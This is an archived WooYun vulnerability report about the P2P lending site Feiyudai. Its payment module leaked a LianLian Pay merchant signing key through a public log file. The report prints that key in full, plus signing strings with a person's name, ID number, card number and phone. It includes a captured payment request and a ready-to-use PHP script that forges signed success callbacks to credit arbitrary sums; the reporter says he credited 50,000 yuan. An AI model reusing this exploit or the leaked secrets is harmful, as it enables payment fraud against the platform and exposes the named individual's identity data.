P2P飞鱼贷支付接口敏感信息泄漏可导致任意金额充值(刷钱洞)

编号132567
Urlhttp://www.wooyun.org/bug.php?action=view&id=132567
漏洞状态未联系到厂商或者厂商积极忽略
漏洞标题P2P飞鱼贷支付接口敏感信息泄漏可导致任意金额充值(刷钱洞)
漏洞类型敏感信息泄露
厂商飞鱼贷
白帽子秋风
提交日期2015-08-08 08:38:00
公开日期2015-09-22 08:40:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签敏感信息泄露
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank15
漏洞简介
@301 我是来给你拉客户的。
手抖刷了50000,求罩。
漏洞细节

参考资料: WooYun: 爱贷网高隐匿任意金额充值实战¥0成本从充值到提现全过程回放
参考资料:http://open.lianlianpay.com/
log文件:http://www.feiyudai.com/*.txt

签名原串:app_request=3&busi_partner=101001&card_no=6222802872501014761&dt_order=20150130135405&info_order=WAP充值&money_order=100.00&name_goods=WAP充值&no_order=llpay201501301354058871&notify_url=http://www.feiyudai.com/mob-pay-paynotice.shtml&oid_partner=201501291000196502&risk_item={"user_info_bind_phone":"","user_info_dt_register":"20150130135405","risk_state":"1","frms_ware_category":"1009"}&sign_type=MD5&url_return=http://www.feiyudai.com/mob-pay-payreturn.shtml&valid_order=30&key=dgerg44r***56786523
签名:3d70f7df04f213c7c4290ea0bdd4ec16
签名原串:app_request=3&busi_partner=101001&card_no=6222802872501014761&dt_order=20150130135410&info_order=WAP充值&money_order=100.00&name_goods=WAP充值&no_order=llpay201501301354103803&notify_url=http://www.feiyudai.com/mob-pay-paynotice.shtml&oid_partner=201501291000196502&risk_item={"user_info_bind_phone":"","user_info_dt_register":"20150130135410","risk_state":"1","frms_ware_category":"1009"}&sign_type=MD5&url_return=http://www.feiyudai.com/mob-pay-payreturn.shtml&valid_order=30&key=dgerg44rehrthrth56786523
签名:1321b6b3c3d3baca35b0373d79f26323
签名原串:acct_name=田娟&app_request=3&busi_partner=101001&card_no=6222802872501014761&dt_order=20150130135422&id_no=42070419820712056X&info_order=WAP充值&money_order=100.00&name_goods=WAP充值&no_order=llpay201501301354226749&notify_url=http://www.feiyudai.com/mob-pay-paynotice.shtml&oid_partner=201501291000196502&risk_item={"user_info_bind_phone":"13476089996","user_info_dt_register":"20141017104055","risk_state":"1","frms_ware_category":"1009"}&sign_type=MD5&url_return=http://www.feiyudai.com/mob-pay-payreturn.shtml&user_id=2511&valid_order=30&key=dgerg44rehrthrth56786523
签名:5b6fa14a1b1f5148b43a12db1d193be6
签名原串:app_request=3&busi_partner=101001&card_no=6222802872501014761&dt_order=20150130135423&info_order=WAP充值&money_order=100.00&name_goods=WAP充值&no_order=llpay201501301354233750&notify_url=http://www.feiyudai.com/mob-pay-paynotice.shtml&oid_partner=201501291000196502&risk_item={"user_info_bind_phone":"","user_info_dt_register":"20150130135423","risk_state":"1","frms_ware_category":"1009"}&sign_type=MD5&url_return=http://www.feiyudai.com/mob-pay-payreturn.shtml&valid_order=30&key=dgerg44rehrthrth56786523
签名:b846d1061b2f754bd85a3fd6af2e2b97


商户KEY:dgerg44rehrthrth56786523
测试订单号:webllpay201508080410044534
支付提交抓包记录
============================

POST /payment/authpay.htm HTTP/1.1
Host: yintong.com.cn
Connection: keep-alive
Content-Length: 1124
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.feiyudai.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://www.feiyudai.com/Pay-llpay?bankCode=llpay&t_money=50000&bank_num=22222222222
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
acct_name=马赛克&busi_partner=101001&card_no=22222222222&dt_order=20150808041004&flag_modify=0&id_no=马赛克&id_type=0&info_order=%E9%A3%9E%E9%B1%BC%E8%B4%B7%E5%B8%90%E6%88%B7%E5%85%85%E5%80%BC&money_order=50000.00&name_goods=%E9%A3%9E%E9%B1%BC%E8%B4%B7%E5%B8%90%E6%88%B7%E5%85%85%E5%80%BC&no_order=webllpay201508080410044534&notify_url=http%3A%2F%2Fwww.feiyudai.com%2Fpay-paynotice-payid-llpay.shtml&oid_partner=201501291000196502&risk_item=%7B%22user_info_bind_phone%22%3A%22马赛克%22%2C%22user_info_dt_register%22%3A%2220150808023933%22%2C%22risk_state%22%3A%221%22%2C%22user_info_full_name%22%3A%22马赛克%22%2C%22user_info_id_type%22%3A%220%22%2C%22user_info_identify_state%22%3A%221%22%2C%22user_info_identify_type%22%3A%224%22%2C%22user_info_id_no%22%3A马赛克%22%2C%22frms_ware_category%22%3A%222009%22%2C%22user_info_mercht_userno%22%3A%227997%22%7D&sign_type=MD5&timestamp=20150808041004&url_return=http%3A%2F%2Fwww.feiyudai.com%2Fpay-payreturn-payid-llpay.shtml&user_id=7997&valid_order=10080&version=1.0&sign=7afe88e63b26e0f1ffacf11a2922e530


复制抓到的post数据,直接放置到最后的poc文件即可

POC

商户KEY:dgerg44re***56786523

1.jpg


3.png


4.jpg


POC代码:
php payway.php
{'ret_code':'0000','ret_msg':'交易成功'}

<?php
// 模拟第三方支付向服务器发包
// 自行修改商户私密KEY,以及抓包的字符串,其它代码不要动。
// 代码已做兼容处理,web支付和wap支付已做过测试。app的后边有实际案例我再加。
// 我是商户私密KEY
define("KEY", 'dgerg44rehrthrth56786523');
// 支付抓包的值放到这里
$str = <<<STR
抓包内容放这里
STR;
// ====================以下代码不必修改=================================
$arr = json_decode($str, true);
if (json_last_error()) {
$str = urldecode($str);
parse_str($str, $str);
$str = json_encode($str);
$arr = json_decode($str, true);
}
$acct_name = $arr['acct_name'];//真实姓名
$id_no = $arr['id_no']; // 身份证号
$no_agree = $arr['no_agree']; // 签约协议号
$info_order = $arr['info_order']; // 订单描述信息
$money_order = $arr['money_order']; // 交易金额
$no_order = $arr['no_order']; // 商户唯一订单号
$dt_order = $arr['dt_order']; // 商户订单时间
$sign_type = $arr['sign_type']; // 签名方式
$oid_partner = $arr['oid_partner']; // 商户唯一编号
$pay_type = $arr['pay_type'] == '1' ? 1 : 2; // 2:快捷支付 (默认)D:认证支付
$bank_code = isset($arr['bank_code']) ? $arr['bank_code'] : ""; // 银行代码
$settle_date = date("Y-m-d"); // 清算日期
$result_pay = 'SUCCESS'; // 支付结果
$oid_paybill = ''; // 连连支付支付单号
$id_type = 0;
print_r($arr);
$key = KEY;
// 签名
$_acct_name = unicode_encode($acct_name, 'utf-8', true, 'u', '');
$_acct_name = $_acct_name == 'u' ? "" : $_acct_name;
$_info_order = unicode_encode($info_order, 'utf-8', true, 'u', '');
$_info_order = $_info_order == 'u' ? "" : $_info_order;
$sign = "info_order={$_info_order}&bank_code={$bank_code}&acct_name={$_acct_name}&dt_order={$dt_order}&id_no={$id_no}&id_type={$id_type}&money_order={$money_order}&no_agree={$no_agree}&no_order={$no_order}&oid_partner={$oid_partner}&pay_type={$pay_type}&result_pay={$result_pay}&settle_date={$settle_date}&sign_type={$sign_type}";
parse_str($sign, $sign);
$sign = paraFilter($sign);
ksort($sign);
reset($sign);
echo $sign = createLinkstring($sign) . "&key={$key}";
echo "\n";
echo $sign = md5($sign); // 签名
$url = $arr['notify_url']; // 商户后台通知地址
$fields = json_encode(array(
'oid_partner' => $oid_partner,
'sign_type' => $sign_type,
'sign' => $sign,
'dt_order' => $dt_order,
'no_order' => $no_order,
'oid_paybill' => $oid_paybill,
'money_order' => $money_order,
'result_pay' => $result_pay,
'settle_date' => $settle_date,
'info_order' => $info_order,
'pay_type' => $pay_type,
'bank_code' => $bank_code,
'no_agree' => $no_agree,
'id_type' => $id_type,
'id_no' => $id_no,
'acct_name' =>$acct_name,
));
$fields = (is_array($fields)) ? http_build_query($fields) : $fields;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Length: ' . strlen($fields)));
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
$re=curl_exec($ch);
curl_close($ch);
echo $re;
/**
* 除去数组中的空值和签名参数
* @param $para 签名参数组
* return 去掉空值与签名参数后的新签名参数组
*/
function paraFilter($para) {
$para_filter = array();
while (list ($key, $val) = each ($para)) {
if($key == "sign" || $val == "")continue;
else $para_filter[$key] = $para[$key];
}
return $para_filter;
}
/**
* 汉字转Unicode编码
* @param string $str 原始汉字的字符串
* @param string $encoding 原始汉字的编码
* @param boot $ishex 是否为十六进制表示(支持十六进制和十进制)
* @param string $prefix 编码后的前缀
* @param string $postfix 编码后的后缀
*/
function unicode_encode($str, $encoding = 'UTF-8', $ishex = false, $prefix = '&#', $postfix = ';') {
$str = iconv($encoding, 'UCS-2', $str);
$arrstr = str_split($str, 2);
$unistr = '';
for($i = 0, $len = count($arrstr); $i < $len; $i++) {
$dec = $ishex ? bin2hex($arrstr[$i]) : hexdec(bin2hex($arrstr[$i]));
$unistr .= $prefix . $dec . $postfix;
}
return $unistr;
}
/**
* 把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
* @param $para 需要拼接的数组
* return 拼接完成以后的字符串
*/
function createLinkstring($para) {
$arg = "";
while (list ($key, $val) = each ($para)) {
$arg.=$key."=".$val."&";
}
$arg = substr($arg,0,count($arg)-2);
//如果存在转义字符,那么去掉转义
if(get_magic_quotes_gpc()){$arg = stripslashes($arg);}
return $arg;
}
/* End of file */

修复方案

1.WEB根目录权限不要777,尽量不给写入权限。
2.删除相关log记录代码
3.删除log.txt文件
4.找厂商修改相关私密KEY(不改后边被人利用我不负责的噢)
5.避免那个啥风险,提现我就不测了,点到为止。
6.麻烦帮我把我的账号注销掉。

状态信息 2015-08-08: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-09-22: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复(not set)
回应信息未能联系到厂商或者厂商积极拒绝漏洞Rank:15 (WooYun评价)
Showing 1-1 of 1 item.
评论内容评论人点赞数评论时间

大神求个联系方式

李叫兽就四李叫兽02015-08-08 08:49:00